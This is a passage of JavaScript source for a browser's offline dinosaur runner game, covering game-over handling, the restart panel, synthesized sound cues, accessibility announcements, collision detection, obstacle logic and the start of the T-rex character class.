saveHighScore(distanceRan, opt_resetScore) {
this.highestScore = Math.ceil(distanceRan);
this.distanceMeter.setHighScore(this.highestScore);
// Store the new high score in the profile.
if (this.syncHighestScore && window.errorPageController) {
if (opt_resetScore) {
errorPageController.resetEasterEggHighScore();
} else {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
}
},
/**
* Game over state.
*/
gameOver() {
this.playSound(this.soundFx.HIT);
vibrate(200);
this.stop();
this.crashed = true;
this.distanceMeter.achievement = false;
this.tRex.update(100, Trex.status.CRASHED);
// Game over panel.
if (!this.gameOverPanel) {
const origSpriteDef = IS_HIDPI ?
Runner.spriteDefinitionByType.original.HDPI :
Runner.spriteDefinitionByType.original.LDPI;
if (this.canvas) {
if (Runner.isAltGameModeEnabled) {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions, origSpriteDef.ALT_GAME_END,
this.altGameModeActive);
} else {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions);
}
}
}
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
// Update the high score.
if (this.distanceRan > this.highestScore) {
this.saveHighScore(this.distanceRan);
}
// Reset the time clock.
this.time = getTimeStamp();
if (Runner.audioCues) {
this.generatedSoundFx.stopAll();
announcePhrase(
getA11yString(A11Y_STRINGS.gameOver)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.distanceRan)
.toString()) +
' ' +
getA11yString(A11Y_STRINGS.highScore)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.highestScore)
.toString()));
this.containerEl.setAttribute(
'title', getA11yString(A11Y_STRINGS.ariaLabel));
}
this.showSpeedToggle();
this.disableSpeedToggle(false);
},
stop() {
this.setPlayStatus(false);
this.paused = true;
cancelAnimationFrame(this.raqId);
this.raqId = 0;
this.generatedSoundFx.stopAll();
},
play() {
if (!this.crashed) {
this.setPlayStatus(true);
this.paused = false;
this.tRex.update(0, Trex.status.RUNNING);
this.time = getTimeStamp();
this.update();
this.generatedSoundFx.background();
}
},
restart() {
if (!this.raqId) {
this.playCount++;
this.runningTime = 0;
this.setPlayStatus(true);
this.toggleSpeed();
this.paused = false;
this.crashed = false;
this.distanceRan = 0;
this.setSpeed(this.config.SPEED);
this.time = getTimeStamp();
this.containerEl.classList.remove(Runner.classes.CRASHED);
this.clearCanvas();
this.distanceMeter.reset();
this.horizon.reset();
this.tRex.reset();
this.playSound(this.soundFx.BUTTON_PRESS);
this.invert(true);
this.flashTimer = null;
this.update();
this.gameOverPanel.reset();
this.generatedSoundFx.background();
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
announcePhrase(getA11yString(A11Y_STRINGS.started));
}
},
setPlayStatus(isPlaying) {
if (this.touchController) {
this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
}
this.playing = isPlaying;
},
/**
* Whether the game should go into arcade mode.
* @return {boolean}
*/
isArcadeMode() {
// In RTL languages the title is wrapped with the left to right mark
// control characters ‪ and ‬ but are invisible.
return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
document.title === ARCADE_MODE_URL;
},
/**
* Hides offline messaging for a fullscreen game only experience.
*/
setArcadeMode() {
document.body.classList.add(Runner.classes.ARCADE_MODE);
this.setArcadeModeContainerScale();
},
/**
* Sets the scaling for arcade mode.
*/
setArcadeModeContainerScale() {
const windowHeight = window.innerHeight;
const scaleHeight = windowHeight / this.dimensions.HEIGHT;
const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
// Positions the game container at 10% of the available vertical window
// height minus the game container height.
const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
window.devicePixelRatio;
const cssScale = IS_RTL ? -scale + ',' + scale : scale;
this.containerEl.style.transform =
'scale(' + cssScale + ') translateY(' + translateY + 'px)';
},
/**
* Pause the game if the tab is not in focus.
*/
onVisibilityChange(e) {
if (document.hidden || document.webkitHidden || e.type === 'blur' ||
document.visibilityState !== 'visible') {
this.stop();
} else if (!this.crashed) {
this.tRex.reset();
this.play();
}
},
/**
* Play a sound.
* @param {AudioBuffer} soundBuffer
*/
playSound(soundBuffer) {
if (soundBuffer) {
const sourceNode = this.audioContext.createBufferSource();
sourceNode.buffer = soundBuffer;
sourceNode.connect(this.audioContext.destination);
sourceNode.start(0);
}
},
/**
* Inverts the current page / canvas colors.
* @param {boolean} reset Whether to reset colors.
*/
invert(reset) {
const htmlEl = document.firstElementChild;
if (reset) {
htmlEl.classList.toggle(Runner.classes.INVERTED,
false);
this.invertTimer = 0;
this.inverted = false;
} else {
this.inverted = htmlEl.classList.toggle(
Runner.classes.INVERTED, this.invertTrigger);
}
},
};
/**
* Updates the canvas size taking into
* account the backing store pixel ratio and
* the device pixel ratio.
*
* See article by Paul Lewis:
* http://www.html5rocks.com/en/tutorials/canvas/hidpi/
*
* @param {HTMLCanvasElement} canvas
* @param {number=} opt_width
* @param {number=} opt_height
* @return {boolean} Whether the canvas was scaled.
*/
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
const context =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
// Query the various pixel ratios
const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
/** @suppress {missingProperties} */
const backingStoreRatio =
Math.floor(context.webkitBackingStorePixelRatio) || 1;
const ratio = devicePixelRatio / backingStoreRatio;
// Upscale the canvas if the two ratios don't match
if (devicePixelRatio !== backingStoreRatio) {
const oldWidth = opt_width || canvas.width;
const oldHeight = opt_height || canvas.height;
canvas.width = oldWidth * ratio;
canvas.height = oldHeight * ratio;
canvas.style.width = oldWidth + 'px';
canvas.style.height = oldHeight + 'px';
// Scale the context to counter the fact that we've manually scaled
// our canvas element.
context.scale(ratio, ratio);
return true;
} else if (devicePixelRatio === 1) {
// Reset the canvas width / height. Fixes scaling bug when the page is
// zoomed and the devicePixelRatio changes accordingly.
canvas.style.width = canvas.width + 'px';
canvas.style.height = canvas.height + 'px';
}
return false;
};
/**
* Whether events are enabled.
* @return {boolean}
*/
Runner.isAltGameModeEnabled = function() {
return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};
/**
* Generated sound FX class for audio cues.
* @constructor
*/
function GeneratedSoundFx() {
this.audioCues = false;
this.context = null;
this.panner = null;
}
GeneratedSoundFx.prototype = {
init() {
this.audioCues = true;
if (!this.context) {
// iOS only supports the webkit version.
this.context = window.webkitAudioContext ? new webkitAudioContext() :
new AudioContext();
if (IS_IOS) {
this.context.onstatechange = (function() {
if (this.context.state != 'running') {
this.context.resume();
}
}).bind(this);
this.context.resume();
}
this.panner = this.context.createStereoPanner ?
this.context.createStereoPanner() :
null;
}
},
stopAll() {
this.cancelFootSteps();
},
/**
* Play oscillators at certain frequency and for a certain time.
* @param {number} frequency
* @param {number} startTime
* @param {number} duration
* @param {?number=} opt_vol
* @param {number=} opt_pan
*/
playNote(frequency, startTime, duration, opt_vol, opt_pan) {
const osc1 = this.context.createOscillator();
const osc2 = this.context.createOscillator();
const volume = this.context.createGain();
// Set oscillator wave type
osc1.type = 'triangle';
osc2.type = 'triangle';
volume.gain.value = 0.1;
// Set up node routing
if (this.panner) {
this.panner.pan.value = opt_pan || 0;
osc1.connect(volume).connect(this.panner);
osc2.connect(volume).connect(this.panner);
this.panner.connect(this.context.destination);
} else {
osc1.connect(volume);
osc2.connect(volume);
volume.connect(this.context.destination);
}
// Detune oscillators for chorus effect
osc1.frequency.value = frequency + 1;
osc2.frequency.value = frequency - 2;
// Fade out
volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);
// Start oscillators
osc1.start(startTime);
osc2.start(startTime);
// Stop oscillators
osc1.stop(startTime + duration);
osc2.stop(startTime + duration);
},
background() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(493.883, now, 0.116);
this.playNote(659.255, now + 0.116, 0.232);
this.loopFootSteps();
}
},
loopFootSteps() {
if (this.audioCues && !this.bgSoundIntervalId) {
this.bgSoundIntervalId = setInterval(function() {
this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
}.bind(this), 280);
}
},
cancelFootSteps() {
if (this.audioCues && this.bgSoundIntervalId) {
clearInterval(this.bgSoundIntervalId);
this.bgSoundIntervalId = null;
this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
}
},
collect() {
if (this.audioCues) {
this.cancelFootSteps();
const now = this.context.currentTime;
this.playNote(830.61, now, 0.116);
this.playNote(1318.51, now + 0.116, 0.232);
}
},
jump() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(659.25, now, 0.116, 0.3, -0.6);
this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
}
},
};
/**
* Speak a phrase using Speech Synthesis API for a11y.
* @param {string} phrase Sentence to speak.
*/
function speakPhrase(phrase) {
if ('speechSynthesis' in window) {
const msg = new SpeechSynthesisUtterance(phrase);
const voices = window.speechSynthesis.getVoices();
msg.text = phrase;
speechSynthesis.speak(msg);
}
}
/**
* For screen readers make an announcement to the live region.
* @param {string} phrase Sentence to speak.
*/
function announcePhrase(phrase) {
if (Runner.a11yStatusEl) {
Runner.a11yStatusEl.textContent = '';
Runner.a11yStatusEl.textContent = phrase;
}
}
/**
* Returns a string from loadTimeData data object.
* @param {string} stringName
* @return {string}
*/
function getA11yString(stringName) {
return loadTimeData && loadTimeData.valueExists(stringName) ?
loadTimeData.getString(stringName) :
'';
}
/**
* Get random number.
* @param {number} min
* @param {number} max
*/
function getRandomNum(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* Vibrate on mobile devices.
* @param {number} duration Duration of the vibration in milliseconds.
*/
function vibrate(duration) {
if (IS_MOBILE && window.navigator.vibrate) {
window.navigator.vibrate(duration);
}
}
/**
* Create canvas element.
* @param {Element} container Element to append canvas to.
* @param {number} width
* @param {number} height
* @param {string=} opt_classname
* @return {HTMLCanvasElement}
*/
function createCanvas(container, width, height, opt_classname) {
const canvas =
/** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
opt_classname : Runner.classes.CANVAS;
canvas.width = width;
canvas.height = height;
container.appendChild(canvas);
return canvas;
}
/**
* Decodes the base 64 audio to ArrayBuffer used by Web Audio.
* @param {string} base64String
*/
function decodeBase64ToArrayBuffer(base64String) {
const len = (base64String.length / 4) * 3;
const str = atob(base64String);
const arrayBuffer = new ArrayBuffer(len);
const bytes = new Uint8Array(arrayBuffer);
for (let i = 0; i < len; i++) {
bytes[i] = str.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Return the current timestamp.
* @return {number}
*/
function getTimeStamp() {
return IS_IOS ? new Date().getTime() : performance.now();
}
//******************************************************************************
/**
* Game over panel.
* @param {!HTMLCanvasElement} canvas
* @param {Object} textImgPos
* @param {Object} restartImgPos
* @param {!Object} dimensions Canvas dimensions.
* @param {Object=} opt_altGameEndImgPos
* @param {boolean=} opt_altGameActive
* @constructor
*/
function GameOverPanel(
canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
opt_altGameActive) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.canvasDimensions = dimensions;
this.textImgPos = textImgPos;
this.restartImgPos = restartImgPos;
this.altGameEndImgPos = opt_altGameEndImgPos;
this.altGameModeActive = opt_altGameActive;
// Retry animation.
this.frameTimeStamp = 0;
this.animTimer = 0;
this.currentFrame = 0;
this.gameOverRafId = null;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
}
GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;
/**
* Animation frames spec.
*/
GameOverPanel.animConfig = {
frames: [0, 36, 72, 108, 144, 180, 216, 252],
msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};
/**
* Dimensions used in the panel.
* @enum {number}
*/
GameOverPanel.dimensions = {
TEXT_X: 0,
TEXT_Y: 13,
TEXT_WIDTH: 191,
TEXT_HEIGHT: 11,
RESTART_WIDTH: 36,
RESTART_HEIGHT: 32,
};
GameOverPanel.prototype = {
/**
* Update the panel dimensions.
* @param {number} width New canvas width.
* @param {number} opt_height Optional new canvas height.
*/
updateDimensions(width, opt_height) {
this.canvasDimensions.WIDTH = width;
if (opt_height) {
this.canvasDimensions.HEIGHT = opt_height;
}
this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
},
drawGameOverText(dimensions, opt_useAltText) {
const centerX = this.canvasDimensions.WIDTH / 2;
let textSourceX = dimensions.TEXT_X;
let textSourceY = dimensions.TEXT_Y;
let textSourceWidth = dimensions.TEXT_WIDTH;
let textSourceHeight = dimensions.TEXT_HEIGHT;
const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
const textTargetWidth = dimensions.TEXT_WIDTH;
const textTargetHeight = dimensions.TEXT_HEIGHT;
if (IS_HIDPI) {
textSourceY *= 2;
textSourceX *= 2;
textSourceWidth *= 2;
textSourceHeight *= 2;
}
if (!opt_useAltText) {
textSourceX += this.textImgPos.x;
textSourceY += this.textImgPos.y;
}
const spriteSource =
opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
// Game over text from sprite.
this.canvasCtx.drawImage(
spriteSource, textSourceX, textSourceY, textSourceWidth,
textSourceHeight, textTargetX, textTargetY, textTargetWidth,
textTargetHeight);
this.canvasCtx.restore();
},
/**
* Draw additional adornments for alternative game types.
*/
drawAltGameElements(tRex) {
// Additional adornments.
if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;
let altGameEndSourceWidth = altGameEndConfig.WIDTH;
let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;
if (IS_HIDPI) {
altGameEndSourceWidth *= 2;
altGameEndSourceHeight *= 2;
}
this.canvasCtx.drawImage(
Runner.altCommonImageSprite, this.altGameEndImgPos.x,
this.altGameEndImgPos.y, altGameEndSourceWidth,
altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
}
},
/**
* Draw restart button.
*/
drawRestartButton() {
const dimensions = GameOverPanel.dimensions;
let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
let restartSourceWidth = dimensions.RESTART_WIDTH;
let restartSourceHeight = dimensions.RESTART_HEIGHT;
const restartTargetX =
(this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
const restartTargetY = this.canvasDimensions.HEIGHT / 2;
if (IS_HIDPI) {
restartSourceWidth *= 2;
restartSourceHeight *= 2;
framePosX *= 2;
}
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
this.canvasCtx.drawImage(
Runner.origImageSprite, this.restartImgPos.x + framePosX,
this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
dimensions.RESTART_HEIGHT);
this.canvasCtx.restore();
},
/**
* Draw the panel.
* @param {boolean} opt_altGameModeActive
* @param {!Trex} opt_tRex
*/
draw(opt_altGameModeActive, opt_tRex) {
if (opt_altGameModeActive) {
this.altGameModeActive = opt_altGameModeActive;
}
this.drawGameOverText(GameOverPanel.dimensions, false);
this.drawRestartButton();
this.drawAltGameElements(opt_tRex);
this.update();
},
/**
* Update animation frames.
*/
update() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
this.frameTimeStamp = now;
this.animTimer += deltaTime;
this.flashTimer += deltaTime;
// Restart Button
if (this.currentFrame == 0 &&
this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
this.animTimer = 0;
this.currentFrame++;
this.drawRestartButton();
} else if (
this.currentFrame > 0 &&
this.currentFrame < GameOverPanel.animConfig.frames.length) {
if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
this.currentFrame++;
this.drawRestartButton();
}
} else if (
!this.altGameModeActive &&
this.currentFrame == GameOverPanel.animConfig.frames.length) {
this.reset();
return;
}
// Game over text
if (this.altGameModeActive &&
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
const altTextConfig =
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;
if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
this.flashTimer > altTextConfig.FLASH_DURATION) {
this.flashTimer = 0;
this.originalText = !this.originalText;
this.clearGameOverTextBounds();
if (this.originalText) {
this.drawGameOverText(GameOverPanel.dimensions, false);
this.flashCounter++;
} else {
this.drawGameOverText(altTextConfig, true);
}
} else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
this.reset();
return;
}
}
this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
},
/**
* Clear game over text.
*/
clearGameOverTextBounds() {
this.canvasCtx.save();
this.canvasCtx.clearRect(
Math.round(
this.canvasDimensions.WIDTH / 2 -
(GameOverPanel.dimensions.TEXT_WIDTH / 2)),
Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
GameOverPanel.dimensions.TEXT_WIDTH,
GameOverPanel.dimensions.TEXT_HEIGHT + 4);
this.canvasCtx.restore();
},
reset() {
if (this.gameOverRafId) {
cancelAnimationFrame(this.gameOverRafId);
this.gameOverRafId = null;
}
this.animTimer = 0;
this.frameTimeStamp = 0;
this.currentFrame = 0;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
},
};
//******************************************************************************
/**
* Check for a collision.
* @param {!Obstacle} obstacle
* @param {!Trex} tRex T-rex object.
* @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
* drawing collision boxes.
* @return {Array<CollisionBox>|undefined}
*/
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;
// Adjustments are made to the bounding box as there is a 1 pixel white
// border around the t-rex and obstacles.
const tRexBox = new CollisionBox(
tRex.xPos + 1,
tRex.yPos + 1,
tRex.config.WIDTH - 2,
tRex.config.HEIGHT - 2);
const obstacleBox = new CollisionBox(
obstacle.xPos + 1,
obstacle.yPos + 1,
obstacle.typeConfig.width * obstacle.size - 2,
obstacle.typeConfig.height - 2);
// Debug outer box
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
}
// Simple outer bounds check.
if (boxCompare(tRexBox, obstacleBox)) {
const collisionBoxes = obstacle.collisionBoxes;
let tRexCollisionBoxes = [];
if (Runner.isAltGameModeEnabled()) {
tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
} else {
tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
Trex.collisionBoxes.RUNNING;
}
// Detailed axis aligned box check.
for (let t = 0; t < tRexCollisionBoxes.length; t++) {
for (let i = 0; i < collisionBoxes.length; i++) {
// Adjust the box to actual positions.
const adjTrexBox =
createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
const adjObstacleBox =
createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
const crashed = boxCompare(adjTrexBox, adjObstacleBox);
// Draw boxes for debug.
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
}
if (crashed) {
return [adjTrexBox, adjObstacleBox];
}
}
}
}
}
/**
* Adjust the collision box.
* @param {!CollisionBox} box The original box.
* @param {!CollisionBox} adjustment Adjustment box.
* @return {CollisionBox} The adjusted collision box object.
*/
function createAdjustedCollisionBox(box, adjustment) {
return new CollisionBox(
box.x + adjustment.x,
box.y + adjustment.y,
box.width,
box.height);
}
/**
* Draw the collision boxes for debug.
*/
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
canvasCtx.save();
canvasCtx.strokeStyle = '#f00';
canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);
canvasCtx.strokeStyle = '#0f0';
canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
obstacleBox.width, obstacleBox.height);
canvasCtx.restore();
}
/**
* Compare two collision boxes for a collision.
* @param {CollisionBox} tRexBox
* @param {CollisionBox} obstacleBox
* @return {boolean} Whether the boxes intersected.
*/
function boxCompare(tRexBox, obstacleBox) {
let crashed = false;
const tRexBoxX = tRexBox.x;
const tRexBoxY = tRexBox.y;
const obstacleBoxX = obstacleBox.x;
const obstacleBoxY = obstacleBox.y;
// Axis-Aligned Bounding Box method.
if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
tRexBox.x + tRexBox.width > obstacleBoxX &&
tRexBox.y < obstacleBox.y + obstacleBox.height &&
tRexBox.height + tRexBox.y > obstacleBox.y) {
crashed = true;
}
return crashed;
}
//******************************************************************************
/**
* Collision box object.
* @param {number} x X position.
* @param {number} y Y Position.
* @param {number} w Width.
* @param {number} h Height.
* @constructor
*/
function CollisionBox(x, y, w, h) {
this.x = x;
this.y = y;
this.width = w;
this.height = h;
}
//******************************************************************************
/**
* Obstacle.
* @param {CanvasRenderingContext2D} canvasCtx
* @param {ObstacleType} type
* @param {Object} spriteImgPos Obstacle position in sprite.
* @param {Object} dimensions
* @param {number} gapCoefficient Mutipler in determining the gap.
* @param {number} speed
* @param {number=} opt_xOffset
* @param {boolean=} opt_isAltGameMode
* @constructor
*/
function Obstacle(
canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
opt_xOffset, opt_isAltGameMode) {
this.canvasCtx = canvasCtx;
this.spritePos = spriteImgPos;
this.typeConfig = type;
this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
this.dimensions = dimensions;
this.remove = false;
this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
this.yPos = 0;
this.width = 0;
this.collisionBoxes = [];
this.gap = 0;
this.speedOffset = 0;
this.altGameModeActive = opt_isAltGameMode;
this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
Runner.altCommonImageSprite :
this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;
// For animated obstacles.
this.currentFrame = 0;
this.timer = 0;
this.init(speed);
}
/**
* Coefficient for calculating the maximum gap.
*/
Obstacle.MAX_GAP_COEFFICIENT = 1.5;
/**
* Maximum obstacle grouping count.
*/
Obstacle.MAX_OBSTACLE_LENGTH = 3;
Obstacle.prototype = {
/**
* Initialise the DOM for the obstacle.
* @param {number} speed
*/
init(speed) {
this.cloneCollisionBoxes();
// Only allow sizing if we're at the right speed.
if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
this.size = 1;
}
this.width = this.typeConfig.width * this.size;
// Check if obstacle can be positioned at various heights.
if (Array.isArray(this.typeConfig.yPos)) {
const yPosConfig =
IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
} else {
this.yPos = this.typeConfig.yPos;
}
this.draw();
// Make collision box adjustments,
// Central box is adjusted to the size as one box.
// ____ ______ ________
// _| |-| _| |-| _| |-|
// | |<->| | | |<--->| | | |<----->| |
// | | 1 | | | | 2 | | | | 3 | |
// |_|___|_| |_|_____|_| |_|_______|_|
//
if (this.size > 1) {
this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
this.collisionBoxes[2].width;
this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
}
// For obstacles that go at a different speed from the horizon.
if (this.typeConfig.speedOffset) {
this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
-this.typeConfig.speedOffset;
}
this.gap = this.getGap(this.gapCoefficient, speed);
// Increase gap for audio cues enabled.
if (Runner.audioCues) {
this.gap *= 2;
}
},
/**
* Draw and crop based on size.
*/
draw() {
let sourceWidth = this.typeConfig.width;
let sourceHeight = this.typeConfig.height;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
// X position in sprite.
let sourceX =
(sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;
// Animation frames.
if (this.currentFrame > 0) {
sourceX += sourceWidth * this.currentFrame;
}
this.canvasCtx.drawImage(
this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
this.typeConfig.height);
},
/**
* Obstacle frame update.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
if (!this.remove) {
if (this.typeConfig.speedOffset) {
speed += this.speedOffset;
}
this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);
// Update frame
if (this.typeConfig.numFrames) {
this.timer += deltaTime;
if (this.timer >= this.typeConfig.frameRate) {
this.currentFrame =
this.currentFrame === this.typeConfig.numFrames - 1 ?
0 :
this.currentFrame + 1;
this.timer = 0;
}
}
this.draw();
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Calculate a random gap size.
* - Minimum gap gets wider as speed increses
* @param {number} gapCoefficient
* @param {number} speed
* @return {number} The gap size.
*/
getGap(gapCoefficient, speed) {
const minGap = Math.round(
this.width * speed + this.typeConfig.minGap * gapCoefficient);
const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
return getRandomNum(minGap, maxGap);
},
/**
* Check if obstacle is visible.
* @return {boolean} Whether the obstacle is in the game area.
*/
isVisible() {
return this.xPos + this.width > 0;
},
/**
* Make a copy of the collision boxes, since these will change based on
* obstacle type and size.
*/
cloneCollisionBoxes() {
const collisionBoxes = this.typeConfig.collisionBoxes;
for (let i = collisionBoxes.length - 1; i >= 0; i--) {
this.collisionBoxes[i] = new CollisionBox(
collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
collisionBoxes[i].height);
}
},
};
//******************************************************************************
/**
* T-rex game character.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Positioning within image sprite.
* @constructor
*/
function Trex(canvas, spritePos) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.spritePos = spritePos;
this.xPos = 0;
this.yPos = 0;
this.xInitialPos = 0;
// Position when on the ground.
this.groundYPos = 0;
this.currentFrame = 0;
this.currentAnimFrames = [];
this.blinkDelay = 0;
this.blinkCount = 0;
this.animStartTime = 0;
this.timer = 0;
this.msPerFrame = 1000 / FPS;
this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
// Current status.
this.status = Trex.status.WAITING;
this.jumping = false;
this.ducking = false;
this.jumpVelocity = 0;
this.reachedMinHeight = false;
this.speedDrop = false;
this.jumpCount = 0;
this.jumpspotX = 0;
this.altGameModeEnabled = false;
this.flashing = false;
this.init();
}
/**
* T-rex player config.
*/
Trex.config = {
DROP_VELOCITY: -5,
FLASH_OFF: 175,
FLASH_ON: 100,
HEIGHT: 47,
HEIGHT_DUCK: 25,
INTRO_DURATION: 1500,
SPEED_DROP_COEFFICIENT: 3,
SPRITE_WIDTH: 262,
START_X_POS: 50,
WIDTH: 44,
WIDTH_DUCK: 59,
};
Trex.slowJumpConfig = {
GRAVITY: 0.25,
MAX_JUMP_HEIGHT: 50,
MIN_JUMP_HEIGHT: 45,
INITIAL_JUMP_VELOCITY: -20,
};
Trex.normalJumpConfig = {
GRAVITY: 0.6,
MAX_JUMP_HEIGHT: 30,
MIN_JUMP_HEIGHT: 30,
INITIAL_JUMP_VELOCITY: -10,
};
/**
* Used in collision detection.
* @enum {Array<CollisionBox>}
*/
Trex.collisionBoxes = {
DUCKING: [new CollisionBox(1, 18, 55, 25)],
RUNNING: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
};
/**
* Animation states.
* @enum {string}
*/
Trex.status = {
CRASHED: 'CRASHED',
DUCKING: 'DUCKING',
JUMPING: 'JUMPING',
RUNNING: 'RUNNING',
WAITING: 'WAITING',
};
/**
* Blinking coefficient.
* @const
*/
Trex.BLINK_TIMING = 7000;
/**
* Animation config for different states.
* @enum {Object}
*/
Trex.animFrames = {
WAITING: {
frames: [44, 0],
msPerFrame: 1000 / 3,
},
RUNNING: {
frames: [88, 132],
msPerFrame: 1000 / 12,
},
CRASHED: {
frames: [220],
msPerFrame: 1000 / 60,
},
JUMPING: {
frames: [0],
msPerFrame: 1000 / 60,
},
DUCKING: {
frames: [264, 323],
msPerFrame: 1000 / 8,
},
};
Trex.prototype = {
/**
* T-rex player initaliser.
* Sets the t-rex to blink at random intervals.
*/
init() {
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
